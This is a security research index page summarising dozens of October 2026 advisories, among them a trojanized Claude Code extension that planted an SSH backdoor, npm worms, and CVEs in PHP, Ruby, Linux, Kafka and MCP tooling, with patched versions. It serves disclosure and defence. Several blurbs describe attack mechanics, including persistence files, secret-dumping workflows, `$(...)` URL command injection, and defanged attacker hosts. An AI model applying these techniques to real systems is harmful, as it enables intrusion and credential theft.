Research
Vulnerability research and advisories
Actionable writeups with exploit context, metadata, and practical remediation details.
Trojanized `anthropic.claude-code` `2.1.313` in the Cursor marketplace planted an SSH backdoor on up to 5,000 developer machines
On 29 October 2026 between 09:27 and 20:35 UTC (2:27 a.m. to 1:35 p.m. PT), a tampered build of Anthropic's Claude Code extension (anthropic.claude-code version 2.1.313) was served from the Cursor VS Code Extension Marketplace to at most 5,000 users. A 66-line loader prepended to extension.js appended an attacker Ed25519 key labeled svc-telemetry to ~/.ssh/authorized_keys, wrote per-OS persistence (com.apple.sysmond.plist on macOS, a SysMon scheduled task on Windows, and @reboot cron entries on Linux), opened a reverse SSH tunnel to 134.209.82[.]225, and beaconed host metadata and secret-variable names to port 8099.
CVE-2026-104859: `@nx/docker` turned release configuration into `/bin/sh -c`
Published on 2 October 2026, `CVE-2026-104859` in npm package `@nx/docker` lets untrusted `repositoryName`, `registryUrl`, `--dockerVersion`, and `NX_DOCKER_IMAGE_REF` values break out of interpolated `docker tag`, `docker images`, and `docker push` shell strings during Nx release jobs. The 22.7.8 and 23.1.1 fixes switch those calls to argv arrays with `execFile()` and `execFileSync()`.
Ruby 4.0.9, 3.4.12, and 3.3.13 patch three Onigmo regex compiler bugs behind four GitLab RCE CVEs
On 23 October 2026, the Ruby core team released Ruby 4.0.9, 3.4.12, and 3.3.13 to fix three memory-safety bugs in the bundled Onigmo regular-expression compiler that GitLab used to patch four critical RCE flaws (CVE-2026-89078, CVE-2026-93577, CVE-2026-97229, and CVE-2026-110264). Any Ruby application that passes attacker-controlled strings into Regexp.new, Regexp.compile, Regexp.union, or /#{input}/ is exposed, and neither Regexp.timeout nor simple pattern-length limits stop the bugs.
Elixir and Erlang security releases (`Bandit 1.14.0`, `hackney 4.9.0`, `Ash 3.37.2`): cross-tenant upsert takeover, pinned-CA `partial_chain` bypass, and nine HTTP/2 & WebSocket flaws
On 26 October 2026, the Erlang Ecosystem Foundation (EEF) CNA and upstream maintainers published 14 CVEs across three core Elixir and Erlang libraries: Ash Framework (`ash < 3.37.2`, `CVE-2026-96581`), the Erlang `hackney` HTTP client (`< 4.9.0`, `CVE-2026-115693`, `CVE-2026-97200`, `CVE-2026-115700`, `CVE-2026-113440`, `CVE-2026-112880`), and the Phoenix-default Bandit HTTP/WebSocket server (`< 1.14.0`, nine CVEs including `CVE-2026-108525`, `CVE-2026-109584`, `CVE-2026-111103`, `CVE-2026-110314`, and `CVE-2026-114216`). In Ash, upserts under attribute multitenancy matched on primary keys or `all_tenants?` identities without scoping to the caller's tenant, letting one tenant read, overwrite, and hijack another tenant's rows. In `hackney`, `hackney_ssl:merge_ssl_opts/3` kept its bundled `certifi` `partial_chain` callback even when callers pinned a private CA via `cacerts` or `cacertfile` (CVSS 9.1 Critical).
Wasmtime 49.0.4, 48.0.7, 43.0.0, and 36.0.19 patch two critical Cranelift sandbox escapes and WASI HTTP header framing bugs
On 23 and 24 October 2026, the GitHub Advisory Database, NVD, and RustSec published six advisories for Bytecode Alliance's Wasmtime and Cranelift compiler backend. Two are rated CVSS 9.9 Critical sandbox escapes: CVE-2026-115893 (GHSA-mghf-wjfp-p5xm, RUSTSEC-2026-0379), where a Wasm br_table with more than ~256,000 targets overflows the 19-bit AArch64 b.hs offset and jumps to an attacker-controlled address, and CVE-2026-115889 (GHSA-897f-g5gm-fmxm, RUSTSEC-2026-0380), where 24-bit SSA value bit-packing in ValueDataPacked silently overflows in release builds. The releases also fix Component Model stream type confusion (CVE-2026-115892) and three wasmtime-wasi-http header framing flaws.
`node-forge` `1.4.2`, `joi` `18.3.1`, `@hapi/content` `6.0.3`, and `nuxt` `4.6.3` patch PKCS#12 MAC forgery, X.509 CA spoofing, and `/%2e/` route bypass
On 29 October 2026, NVD and the GitHub Advisory Database published 22 security advisories across four core JavaScript and TypeScript packages: node-forge 1.4.1 / 1.4.2 (17 CVEs including CVE-2026-118782 PKCS#12 iteration-0 constant key/MAC bypass, CVE-2026-119190 X.509 basicConstraints CA impersonation via deprecated OIDs 2.5.29.10 and 2.5.29.13, CVE-2026-85393 and CVE-2026-119192 RSA-PKCS#1 v1.5 signature forgery, CVE-2026-119191 BIT STRING maxDepth bypass, and CVE-2026-119187 / CVE-2026-119188 TLS crashes), joi 17.13.9 / 18.3.1 (CVE-2026-118772), @hapi/content 6.0.3 (CVE-2026-119202), and Nuxt 4.6.3 (CVE-2026-119198 to CVE-2026-119201).
`graphql-core` `3.3.1`, `joserfc` `1.7.6`, `pyasn1` `0.6.5`, `pypdf` `6.21.4`, Botan `3.13.0`, and Frappe `16.34.0` patch RCE, SSTI, and parser DoS
On 29 October 2026, NVD and the GitHub Advisory Database published 21 advisories across six Python and C++ libraries and frameworks: Frappe Framework 15.121.0 / 16.34.0 (CVE-2026-119145, CVSS 9.9 Critical file-upload path traversal RCE; CVE-2026-119144, CVSS 8.8 High SSTI), Botan 3.13.0 (CVE-2026-118769, CVSS 9.2 Critical FFI block-size truncation memory corruption; CVE-2026-118765 RNG state bug), graphql-core 3.3.1 (CVE-2026-119286), joserfc 1.7.5 / 1.7.6 (CVE-2026-119283 and CVE-2026-119284), pyasn1 0.6.5 (CVE-2026-119194 to CVE-2026-119197), and pypdf 6.21.3 / 6.21.4 (CVE-2026-119203 to CVE-2026-119209).
`CVE-2026-98432`: Linux kernel IPv4 TCP options RCU use-after-free exposes Go `1.24+` default MPTCP listeners to remote root RCE
Following Anthropic's 27 October 2026 disclosure of a zero-click remote root exploit for CVE-2026-98432 (CVSS 9.8 Critical) against Linux Multipath TCP (MPTCP) listeners, the Go Security Team warned on 29-30 October 2026 (oss-security 2026/10/30/1, golang/go#82717) that Go 1.24 and later enable MPTCP by default for all listening TCP sockets on Linux (multipathtcp=2). Until hosts reboot into a patched kernel (6.12.113, 6.18.56, 7.2.10, or 7.3), operators running Go 1.24+ servers should disable MPTCP via GODEBUG=multipathtcp=0 or sysctl net.mptcp.enabled=0.
RustSec advisories in `cargo-nextest` `0.9.150`, `rustpython-vm` `0.6.0`, `rustls-ffi` `0.15.7`, and `zstd-rs`: portable recording RCE, baked-in CI secrets, TLS SNI UAF, and 16 Zstandard flaws
On 26 and 27 October 2026, the RustSec Advisory Database published 19 advisories across four critical Rust projects: `cargo-nextest` (`RUSTSEC-2026-0412` / `GHSA-vc25-qg58-w57c`, CVSS 7.8), `rustpython-vm` (`RUSTSEC-2026-0394`), `rustls-ffi` (`RUSTSEC-2026-0413` / `GHSA-rc3f-4j82-cmrg`), and the `zstd`, `zstd-safe`, and `zstd-sys` crates (`RUSTSEC-2026-0391` through `RUSTSEC-2026-0406` and `RUSTSEC-2026-0410`, ~455M downloads on crates.io). `cargo nextest run --rerun` passed unvalidated build-scope arguments from portable recordings straight to `cargo`; `rustpython-vm`'s `build.rs` compiled every build-machine environment variable into the binary in cleartext; `rustls-ffi` retained a dangling pointer to caller-owned `server_name` strings; and `zstd-rs` fixed cross-stream context leaks, 32 KiB uninitialized heap disclosures on 6-byte legacy frames, `Seekable::decompress` `Vec::set_len` overruns, and a `wasm32` address-0 allocator write.
29 fake-interview Tailwind and Animate.css npm plugins hide their payload in private scopes unlocked by a committed `.npmrc` token
Twenty-nine npm packages posing as Animate.css plugins for Tailwind CSS ship with no install scripts, no network calls, and no obfuscated code in their public tarballs. Instead, line 5 of `src/motion.js` calls `require('@aaron205whitmore/postcss-animate-utils')` or `require('@jasperquinn/postcss-motion-helpers')`, two private npm packages that return 404 to everyone except candidates who clone a fake job-interview repository containing a read-scoped `.npmrc` token. When we checked the registry on 22 October 2026, 26 of the 29 public packages were still live on npm.
CVE-2025-34291: Langflow CORS and refresh-token chain reaches RCE
CISA added CVE-2025-34291 to KEV after exploitation of a Langflow chain where wildcard credentialed CORS and a SameSite=None refresh-token cookie let a malicious webpage mint API tokens and reach authenticated code-execution endpoints.
CVE-2026-103251: n8n queue mode lets Redis pub-sub install arbitrary npm packages cluster-wide
Published on 1 October 2026, CVE-2026-103251 in the npm package n8n broke the trust boundary between the normal community-package install flow and the Redis pub-sub path used by queue mode. In affected builds, anyone who could write to the Redis bus could send a forged install message and make every cluster node download, install, and load an attacker-chosen npm package without the usual validation, checksum, permission, or safety checks.
CVE-2026-10796 lets hostile mirrors turn `nvm install` into shell RCE
A June 4 disclosure showed that nvm <= 0.40.4 trusted version fields from mirror index.tab metadata, letting hostile or MITM'd mirrors inject commands into both nvm_download() and nvm_get_checksum(). Version 0.40.5 fixes the issue by removing eval from downloader execution, passing tarball names to awk as data, and rejecting disallowed characters in mirror-supplied version strings.
PHP2Shell: how PHP's `longjmp()` out-of-memory path became pre-auth RCE (CVE-2026-109618, CVE-2026-109619)
PHP shipped 8.2.35, 8.3.36, 8.4.27, and 8.5.12 on 21 October 2026 to fix two critical memory-safety bugs in the engine. An out-of-memory bailout during multipart parsing can leave half-initialized request state or dangling worker globals behind, and a later request on the same worker consumes them. Researchers demonstrated unauthenticated RCE against stock WordPress, Drupal, and Joomla images, plus remote memory disclosure through the `PHPSESSID` cookie. Exploitation started before the patch because details leaked early.
Node.js 26.12.1, 24.22.1, and 22.23.4 patch Brotli decoder RCE, dns.resolve NUL truncation, and TLS IP hostname bypasses
On 21 and 22 October 2026, Node.js shipped security releases v26.12.1, v24.22.1, and v22.23.4 alongside Google Brotli v1.2.1, v1.1.1, and v1.0.10 to close ten CVEs. Four are rated high severity: an out-of-bounds write in the bundled Brotli decoder that permits remote code execution (CVE-2026-111497), NUL-byte hostname truncation in dns.resolve* and setLocalAddress (CVE-2026-105482), and two TLS server-identity bypasses for fullwidth and non-canonical IPv4 hosts (CVE-2026-105483, CVE-2026-106069). The release also fixes startup-snapshot randomUUID() replay (CVE-2026-106074) and distrusts the compromised eMudhra CA keys.
Strands Agents SDK, LangGraph, FastMCP, MCP Python SDK, and MLflow advisories: A2A session leaks, scorer artifact RCE, prompt file read, and MCP audience / `$ref` bypasses
Between 22 and 27 October 2026, AWS, LangChain, Prefect, Anthropic/MCP, and Databricks published 11 advisories across Python and TypeScript AI agent frameworks: third-party scorer artifact RCE (`CVE-2026-116692`, CVSS 9.8), prompt model-version arbitrary file read (`CVE-2026-116690`, CVSS 7.5), CrewAI autolog API-key leakage (`CVE-2026-116691`), and scorer SSRF (`CVE-2026-115886`) in MLflow `< 3.17.0`; cross-resource bearer-token acceptance (`CVE-2026-116684`), tool `outputSchema` `$ref` SSRF/file probing (`CVE-2026-116686`), and cross-origin redirect header/body leaks (`CVE-2026-116685`) in the Model Context Protocol Python SDK (`mcp < 1.30.0` / `< 2.2.0`); shared Agent state across A2A `context_id`s in Strands Agents SDK (`CVE-2026-115419`); dot-joined namespace collision in LangGraph (`CVE-2026-115883`); and skipped post-transform `AuthCheck`s and un-bound M2M OAuth issuers in FastMCP (`GHSA-7xgj-8392-5q4r`, `GHSA-vqqp-x5qm-5qp4`).
Happy DOM 21.0.4, Undici 8.12.2 / 7.30.1 / 6.29.1, body-parser 2.4.0, and multer 2.5.0 advisories: ESM import-alias host RCE, SRI bypass, and single-request Node.js crashes
On 23 October 2026, the GitHub Advisory Database and NVD published five reviewed security advisories across core Node.js libraries: Happy DOM CVE-2026-115895 (GHSA-834v-8h66-3h79, CVSS 8.8 High), where an incomplete fix for CVE-2026-33943 lets an unsanitized ESM import alias execute host Node.js code; Undici CVE-2026-109869 (GHSA-xjj6-f33q-929c, High), CVE-2026-109841 (GHSA-f72v-6w45-q472, Subresource Integrity bypass), and CVE-2026-109924 (GHSA-4qv8-2p9j-2685, EventSource OOM); plus single-request uncaught-exception crashes in body-parser CVE-2026-111181 (GHSA-27r3-jxmh-p828, High) and multer CVE-2026-113872 (GHSA-q7qp-rjg7-q26m, High).
Seroval `1.6.8` / `1.6.11`, Highcharts `13.1.0`, Vue I18n `11.4.14`, and GraphQL Tools `1.1.36` patch deserialization, prototype pollution, XSS, and WebSocket auth bleed
On 28 October 2026, the GitHub Advisory Database and NVD published 21 reviewed security advisories across four widely deployed JavaScript and TypeScript libraries: Seroval (CVE-2026-116580, CVE-2026-116581, CVE-2026-116582, CVE-2026-116583, CVE-2026-116584), Highcharts Core, Dashboards, and Grid (13 advisories including CVE-2026-118245, CVE-2026-118249, CVE-2026-118250, CVE-2026-118246, and CVE-2026-116797), Vue I18n and @intlify/* (CVE-2026-118257, CVE-2026-118256), and @graphql-tools/executor-legacy-ws (CVE-2026-118665, CVE-2026-118666).
ZDI publishes 7 zero-day RCE advisories in Ultralytics (`CVE-2026-118613` to `CVE-2026-118619`) alongside MONAI `1.6.1` `logging.conf` RCE (`CVE-2026-118683`)
On 28 October 2026, Trend Micro's Zero Day Initiative published seven (0Day) remote code execution advisories in Ultralytics YOLO (ZDI-26-812 through ZDI-26-818, CVE-2026-118613 through CVE-2026-118619, up to CVSS 8.8) spanning torch_load, torch_safe_load, parse_model, check_det_dataset, load_dataset_cache_file, and Google Drive Content-Disposition downloads. On the same day, NVD published two advisories for Project MONAI (< 1.6.1): CVE-2026-118683 (GHSA-wvpx-5qmp-46g3, CVSS 8.8), where ConfigWorkflow.__init__ passed a bundle's configs/logging.conf straight to logging.config.fileConfig() (which calls eval() on class= and args=), and CVE-2026-118684 (GHSA-hhh4-h52m-fqh6), where check_hash() defaulted to MD5 and returned True whenever hash_val was None.
`oapi-codegen` `2.8.1`, `minimatch` `11.0.1`, `decode-uri-component` `0.5.1`, `@sigstore/oci` `0.7.2`, and `@sd-jwt/core` `0.20.0` patch Go code injection, glob/URI DoS, and credential leaks
On 29 October 2026, NVD and the GitHub Advisory Database published seven high-impact advisories across Go and JavaScript developer tooling: oapi-codegen 2.8.1 (CVE-2026-119028, CVSS 8.8; CVE-2026-119027, CVSS 7.5), minimatch 11.0.1 (CVE-2026-118764, CVSS v4.0 8.7), decode-uri-component 0.5.1 (CVE-2026-118664, CVSS v4.0 8.2), @sigstore/oci 0.7.2 (CVE-2026-118763, CVSS 7.4), @sd-jwt/core 0.20.0 (CVE-2026-62374), and flat 6.0.1 (CVE-2026-119051, CVSS v4.0 8.2).
Agno `2.3.24`, LiteLLM `1.100.4`, Hydra `1.3.8`, vLLM `0.31.0`, and NVIDIA NeMo Agent Toolkit `1.9.0` patch RCE, salt-key admin escalation, and file read
On 27 October 2026, seven security advisories were published across five Python AI agent, configuration, and model-serving frameworks: Agno (`CVE-2026-35002`, CVSS 9.8), LiteLLM (`CVE-2026-114612` / `GHSA-7hp6-4w63-5g45`, CVSS 9.9; `GHSA-g5ff-637f-6q2m`, CVSS 8.1), Meta Hydra (`GHSA-wf6j-7hvr-gr93`, CVSS 7.8), vLLM (`CVE-2026-114053` / `GHSA-h3rc-6mm3-gc2m`, CVSS 8.1), and NVIDIA NeMo Agent Toolkit (`CVE-2026-65145`, CVSS 10.0; `CVE-2026-65151`, CVSS 8.4). Agno passed `FunctionCall` `field_type` strings directly to `eval()`; LiteLLM encrypted secret metadata and UI session tokens with the same `LITELLM_SALT_KEY` without domain separation and missed `vertex_ai_credentials` on its `/utils/transform_request` blocklist; Hydra's legacy `instantiate()` blacklist omitted `yaml.unsafe_load`; vLLM forwarded per-request `mm_processor_kwargs.code_revision` to `AutoProcessor.from_pretrained()`; and NVIDIA patched critical missing authentication and SQL injection in NeMo Agent Toolkit.
PraisonAI `4.6.78`, Crawl4AI `0.9.5`, `@sylphx/pdf-reader-mcp` `3.0.1`, and `llama.cpp` `b11935` patch AST sandbox escape, Hugging Face pickle RCE, and unauthenticated MCP HTTP access
On 29 October 2026, NVD and the GitHub Advisory Database published nine advisories across four AI agent, web-crawling, MCP, and inference projects: PraisonAI 4.6.78 (CVE-2026-61438 / GHSA-26mh-57q7-jfvr), Crawl4AI 0.9.5 (six advisories including CVE-2026-119120 / GHSA-f856-7xp9-w3cc, CVE-2026-119119, CVE-2026-119118, CVE-2026-119121, and CVE-2026-119122), @sylphx/pdf-reader-mcp 3.0.1 (CVE-2026-62264 / GHSA-q344-5v34-gm84), and llama.cpp b11935 (CVE-2026-119052).
`cert-manager` `1.20.3`, `aws-privateca-issuer` `1.10.1`, Kubeflow Pipelines `2.18.0`, ZITADEL `4.19.5`, and Keycloak `26.6.4` patch ClusterIssuer theft, artifact traversal, and auth bypass
On 29 October 2026, NVD, AWS, and the GitHub Advisory Database published ten high-severity advisories across five Kubernetes PKI, ML workflow, and identity platforms: cert-manager 1.19.6 / 1.20.3 (CVE-2026-62290 / GHSA-8rvj-mm4h-c258), AWS Private CA Connector for Kubernetes 1.10.1 (CVE-2026-119115 / GHSA-hjrh-q6pg-mh82 / AWS-2026-156), Kubeflow Pipelines 2.18.0 (CVE-2026-118758, CVE-2026-118759, CVE-2026-118760, and CVE-2026-118761), ZITADEL 4.19.5 (CVE-2026-119127, CVE-2026-119128, and CVE-2026-119129), and Keycloak 26.6.4 / 26.0.10 (CVE-2026-9800 / GHSA-f5p5-6xmx-p252).
Fragnesia: Linux ESP-in-TCP bug revives page-cache root escalation
CVE-2026-46300, nicknamed Fragnesia, is a new Linux kernel XFRM ESP-in-TCP local privilege escalation that lets unprivileged local attackers corrupt read-only file contents in page cache and execute a root shell from a patched-in-memory system binary.
Go Echo `v4.16.1` and `v5.4.1` advisories: rejected WebSocket upgrade route-auth bypass, `X-Real-IP` spoofing, and unbounded `Decompress` / `BodyDump` allocation
On 23 October 2026, the GitHub Advisory Database published six reviewed advisories for LabStack's Echo Go web framework (github.com/labstack/echo/v4 and v5), patched in v4.16.1 and v5.4.1 (plus v5.4.2). In GHSA-cxf3-9h37-7rr8 (scored CVSS 9.1 Critical by GitHub), Echo's Proxy middleware hijacked client connections into a raw TCP tunnel on any WebSocket Upgrade header before checking whether the upstream returned HTTP 101, letting subsequent pipelined HTTP requests on a rejected keep-alive connection bypass Echo route middleware. The release also fixes WebSocket descriptor leaks (GHSA-9969-6676-49h5), v5 X-Real-IP peer validation (GHSA-h53f-rm2w-w7rg), and unbounded gzip and BodyDump memory allocation.
Remote MCP servers reach Windows and WSL shells through OAuth URLs in OpenCode and MCP Inspector (GHSA-q978-78c7-phqw, GHSA-4fc4-wcmh-4g86)
A remote Model Context Protocol (MCP) server that asks for OAuth sign-in controls the `authorization_endpoint` URL the client opens in a browser. In `opencode-ai` 1.0.137 through 1.18.32 and `@modelcontextprotocol/inspector` 2.0.0 through 2.11.0, that URL went to `open@10.x`, which wraps its target in double quotes inside a base64-encoded PowerShell command on Windows and WSL. An ordinary `https://` URL containing `$(...)` executes arbitrary PowerShell before the browser launches, bypassing `http:` and `https:` scheme checks. On 21 October 2026, MCP Inspector also fixed a critical v1 OAuth callback bug (`GHSA-4fc4-wcmh-4g86`) that switched remote sessions to local `stdio` command execution on any OS.
`testmetest` and `@iobandamwer/*` npm worm: native-addon `.napi_cache` droppers and 42 armed GitHub repositories
What began on 19 to 22 October 2026 as a cluster of `-testmetest` npm packages with `binding.gyp` command-expansion hooks evolved between 24 and 26 October into three `@iobandamwer/*` and `path-stream-utils-testmetest` packages shipping prebuilt Linux and Windows `.node` addons that XOR-decrypt a `.napi_cache` payload (`0x96`) only outside CI, containers, and debuggers. On 26 October, JFrog Security Research also uncovered 42 armed third-party GitHub repositories across 11 hijacked owners carrying 12.9 to 13.7 MB `.github/init.js` wrappers, AI coding assistant hooks, an active `stable-scripts-9965` snapshot sink, and a hidden `ci.js` GitHub Actions OIDC npm publisher.
Jackson `2.18.12` / `2.22.4` / `3.2.4`, Google Guava `33.7.2`, and Eclipse Vert.x `5.1.10` / `5.2.1` advisories: `PolymorphicTypeValidator` generic bypass, `Content-Xength` smuggling, and deserialization OOMs
Between 27 and 28 October 2026, six Java ecosystem vulnerabilities were published or expanded across FasterXML Jackson, Google Guava, and Eclipse Vert.x: a critical PolymorphicTypeValidator bypass via generic type arguments and array element types in jackson-databind (CVE-2026-110879, CVSS 9.8, incomplete fix for CVE-2026-54512), three signed-integer overflow and raw-binary OutOfMemoryError flaws in jackson-dataformat-protobuf and jackson-dataformat-smile (CVE-2026-104016, CVE-2026-110747, CVE-2026-104895), an eager 1.07-billion-element allocation in Google Guava's CompactHashMap, CompactHashSet, and MapMakerInternalMap readObject() (CVE-2026-102554, CVSS v4.0 8.2), and JFrog's Byte Debt cross-user session-fixation chain against Eclipse Vert.x's HTTP/1.x header decoder (CVE-2026-102479, CVSS v4.0 8.7).
Apache Kafka `4.2.2`, `4.3.2`, and `4.4.0` patch 12 CVEs: SASL/OAUTHBEARER `ClientJwtValidator` fallback, broker file read via `IncrementalAlterConfigs`, Connect secret disclosure, and protocol / compression OOMs
On 28 October 2026, the Apache Kafka project disclosed 12 vulnerabilities (CVE-2026-110985, CVE-2026-110952, CVE-2026-112375, CVE-2026-111115, CVE-2026-111108, CVE-2026-114349, CVE-2026-111073, CVE-2026-111551, CVE-2026-111496, CVE-2026-115644, CVE-2026-116593, and CVE-2026-83525) fixed across Kafka 4.2.2, 4.3.1 / 4.3.2, and 4.4.0. The batch includes an unauthenticated SASL/OAUTHBEARER superuser bypass when sasl.oauthbearer.jwks.endpoint.url is omitted (a residual of CVE-2026-33557), an unauthorized broker file and environment-variable read through IncrementalAlterConfigs that bypasses the CVE-2024-31141 ConfigProvider allowlist, Kafka Connect secret resolution on /config/validate and unauthenticated /admin/loggers access when admin.listeners is isolated, and five pre-auth or low-privilege OutOfMemoryError paths across flexible request headers, array readers, PushTelemetry, and compressed record batches.
Mistral Vibe `3.0.3`, Datadog `ddtrace` `4.15.6` and `dd-trace-js` `6.20.1`, `rembg` `2.0.82`, Apache Airflow SSH `7.0.1`, and `systeminformation` `5.33.16` patch RCE, ReDoS, and local file disclosure
Between 26 and 27 October 2026, seven vulnerabilities were disclosed across Python and Node.js AI, observability, and orchestration packages: Mistral Vibe (`CVE-2026-116843`, CVSS 8.8), Datadog `dd-trace-py` (`CVE-2026-116588`, CVSS 8.7; `CVE-2026-116589`, CVSS 8.2) and Node.js `dd-trace` (`CVE-2026-116693` / `GHSA-x94g-w73q-hpcw`), `rembg` (`CVE-2026-115924` / `GHSA-qr6x-7v33-6qmg`, CVSS 8.6), Node.js `systeminformation` (`CVE-2026-116576` / `GHSA-3f7j-7jwc-fxfj`, CVSS 7.8), and `apache-airflow-providers-ssh` (`CVE-2026-111422`). Mistral Vibe ran `.git/config` filter drivers during `--worktree` checkout before checking folder trust; both Python `ddtrace` and Node.js `dd-trace` (`< 5.131.1`, `< 6.20.1`) suffered synchronous ReDoS in their default query-string obfuscation regexes; `rembg` allowed unauthenticated ONNX model injection to exfiltrate local files inside PNG masks; `systeminformation` let Unicode smart quotes break out of Windows PowerShell `Get-CimInstance` filters; and `SSHRemoteJobOperator` single-quoted templated `environment` values inside an already-quoted remote wrapper script.
Jenkins `2.588` and LTS `2.580.2` patch 14 CVEs: XStream `resolves-to` JEP-200 bypass, `getOrLoadNode` path traversal, `OldDataMonitor` admin takeover, and setup-wizard race RCE
On 28 October 2026, the Jenkins project shipped weekly release 2.588 and LTS 2.580.2 to patch 14 vulnerabilities (CVE-2026-117612 through CVE-2026-117626, 12 rated High severity). The advisory covers an XStream resolves-to deserialization filter bypass reaching controller RCE (CVE-2026-117612), an Overall/Read path traversal in Jenkins.getOrLoadNode() that loads and overwrites arbitrary config.xml files on the controller (CVE-2026-117616), an OldDataMonitor injection that overwrites administrator user records when an admin clicks Save (CVE-2026-117620), an unauthenticated setup-wizard race condition that creates an administrator account (CVE-2026-117618), legacy agentCommand approval bypass (CVE-2026-117614), and symlink-following file read and write primitives during job rename and parallel artifact archiving (CVE-2026-117615, CVE-2026-117617).
CISA adds Adobe Commerce and Magento PolyShell (`CVE-2026-48356`) to KEV as `deepveindrilling` CMS block loaders hit 953 stores
On 27 October 2026, CISA added `CVE-2026-48356` (PolyShell, CVSS 9.3 Critical, EPSS 30.58%) to its Known Exploited Vulnerabilities (KEV) catalog with a 10 November 2026 remediation deadline. The flaw in Magento Open Source and Adobe Commerce (`2.4.9`, `2.4.8-p5`, `2.4.7-p10`, `2.4.6-p15`, `2.4.5-p17`, `2.4.4-p18` and earlier) allows unauthenticated attackers to upload polyglot GIF/PNG PHP webshells to `pub/media/custom_options/quote/` via `/V1/guest-carts/:cartId/items` without option ID or extension validation. Sansec tracked PolyShell mass exploitation across 471 stores in a single hour and documented an October 2026 wave injecting `deepveindrilling[.]com` browser-fingerprinting loaders and `localStorage.fpCode` persistence into `cms_block` rows across 953 total stores.
Tailscale `v1.104.4` patches the Tailworm audit (`TS-2026-014` to `TS-2026-017`): root Unix-socket forwarding, `tailscaled` session OOM, `serve --tcp` LocalAPI takeover, and HTTP/2 capability bleed
On 27 and 28 October 2026, Tailscale shipped `v1.104.4` and published four security bulletins (`TS-2026-014`, `TS-2026-015`, `TS-2026-016`, and `TS-2026-017`) in response to Cyberdione Labs' 25 October Tailworm audit of `tailscaled` `v1.104.2` and `headscale` `v0.29.5`. In `TS-2026-014`, `tailscaled`'s embedded SSH server performed Unix-socket local (`ssh -L`) and remote (`ssh -R`) forwarding as `root` and checked path allowlists with a TOCTOU race (`validateAndResolveSocketPath`), letting any tailnet peer with an SSH forwarding grant reach `/run/docker.sock`, `/run/systemd/private`, or `/run/tailscale/tailscaled.sock`. `v1.104.4` also fixes unbounded SSH session window-change and environment memory retention (`TS-2026-015`), unguarded `tailscale serve --tcp` and symlink-swapped Unix socket dials (`TS-2026-016`), and an HTTP/2 shared `serveHTTPContext` race that bled `Tailscale-App-Capabilities` headers across mounts (`TS-2026-017`).
Symfony `8.1.9`, PhpSpreadsheet `5.10.0`, `snappy-java` `1.1.10.9`, Atlantis `0.47.1`, and `@fastify/express` `4.0.9` advisories: XXE, shell injection, JNI heap overflow, and route-auth bypass
On 27 October 2026, 11 vulnerabilities were published across Symfony, PHPOffice PhpSpreadsheet, xerial `snappy-java`, Atlantis, and `@fastify/express`. Symfony patches an unbounded inline YAML lexer stack crash (`CVE-2026-109413`) and exponential `Cache-Control` `HeaderUtils::split()` ReDoS (`CVE-2026-108082`); PhpSpreadsheet fixes two `XmlScanner` XXE bypasses via double-encoded `&#60;` entities (`CVE-2026-108357`) and ISO-2022 escape sequences (`CVE-2026-108358`), an ODS `number-rows-repeated` memory bomb (`CVE-2026-108359`), and `Drawing::setPath()` redirect SSRF (`CVE-2026-108360`); `snappy-java` `1.1.10.9` fixes JNI typed-array heap overflows (`CVE-2026-93451`), 2 GB allocation bombs (`CVE-2026-108106`), and unchecked `arrayCopy` crashes (`CVE-2026-116590`); Atlantis `0.47.1` stops passing pull-request `workspace` names through `sh -c` (`CVE-2026-116676`, CVSS 8.8); and `@fastify/express` `4.0.9` fixes an absolute-form URI middleware bypass when `ignoreDuplicateSlashes` is enabled (`CVE-2026-112362`, CVSS 9.1).
GitPython, Jupyter Server, and nbconvert advisories: post-clone `.git/hooks` RCE, gateway kernel auth bypass, and notebook export traversal
On 22 October 2026, the GitHub Advisory Database and NVD published three high-severity advisories across Python developer and notebook infrastructure: GitPython CVE-2026-114145 (GHSA-83vg-56qc-22m7), where create_submodule() clones into .git/hooks before index path validation rejects the path; Jupyter Server CVE-2026-114135 (GHSA-354v-3q48-cv69, CVSS 8.8), where Gateway mode replaces the authorized kernel WebSocket handler with one that skips authorizer.is_authorized(); and nbconvert CVE-2026-114140 (GHSA-pjvx-prjx-h659), where cell output filenames traverse outside the export directory.
Go `klauspost/compress` `v1.20.2`, `go-jose` `v4.1.6`, and `rclone` `v1.75.2` patch zstd decoder panics, cubic RSA JWK DoS, and `selfupdate` PGP signature bypasses
Between 25 and 26 October 2026, NVD and the GitHub Advisory Database published 14 advisories across three widely deployed Go projects: `github.com/klauspost/compress` (`CVE-2026-116591`, CVSS 8.7), `github.com/go-jose/go-jose/v4` (`CVE-2026-116587`, CVSS 7.5; `CVE-2026-116586`, CVSS 6.9; `CVE-2026-116585`, CVSS 6.9), and `github.com/rclone/rclone` (`CVE-2026-116187` through `CVE-2026-116196`, up to CVSS 7.5). A crafted two-block zstd frame with an FSE normalized count of `32768` wraps an `int16` in `klauspost/compress` and panics the process; `go-jose` passes unbounded RSA parameters to Go 1.24+'s `PrivateKey.Validate` and panics on empty CBC-HMAC ciphertexts; and `rclone` `selfupdate` trusted unsigned hash lines prepended before the PGP-signed `SHA256SUMS` block alongside a WebDAV `MKCOL /..` path traversal.
Authlib `1.9.1` and Better Auth `1.7.7` advisories: empty-signature JWS bypass, PEM-prefixed HMAC confusion, and OAuth state Magic Link takeover
On 27 October 2026, the GitHub Advisory Database and NVD published 11 security advisories across Python `Authlib` (fixed in `1.9.0` and `1.9.1`) and TypeScript `better-auth` (fixed in `1.7.7`). Authlib patches an empty `signatures` array bypass in `JsonWebSignature.deserialize_json()` (`CVE-2026-96760`, CVSS 9.1), empty HMAC key forgery (`CVE-2026-114616`), an incomplete `OctKey.import_key()` PEM prefix check (`CVE-2026-114615`), unauthenticated RFC 7592 client configuration takeover (`CVE-2026-116672`, CVSS 8.8), and JAR `request_uri` SSRF (`CVE-2026-114620`); Better Auth fixes database-backed OAuth `state` reuse as a Magic Link token (`CVE-2026-114607`, CVSS 9.1) and OAuth Proxy ciphertext confusion (`GHSA-r4xp-prcw-77qf` / `CVE-2026-110864`).
Gheist plants 13,500 `ci-sync-*` GitHub Actions secret-dumping branches as Wiz maps 2026 `pull_request_target` bypasses
On 25 and 26 October 2026, Wiz Research documented Gheist, an automated campaign that used stolen GitHub tokens from more than 850 accounts to plant over 13,500 `ci-sync-*` branches carrying `.github/workflows/sync-check.yml`. The workflow base32-encodes `env` and `toJSON(secrets)` into its own build log, iterates across deployment environments, and pivots onto self-hosted runners via `.gdmp_*` scripts and the Docker socket before the `gheist` API client downloads and deletes the run. A companion Wiz audit also details how SHA-pinned `actions/checkout` releases before July 2026, `issue_comment` triggers, and `workflow_run` artifact handoffs bypass GitHub's 2026 Pwn Request protections.
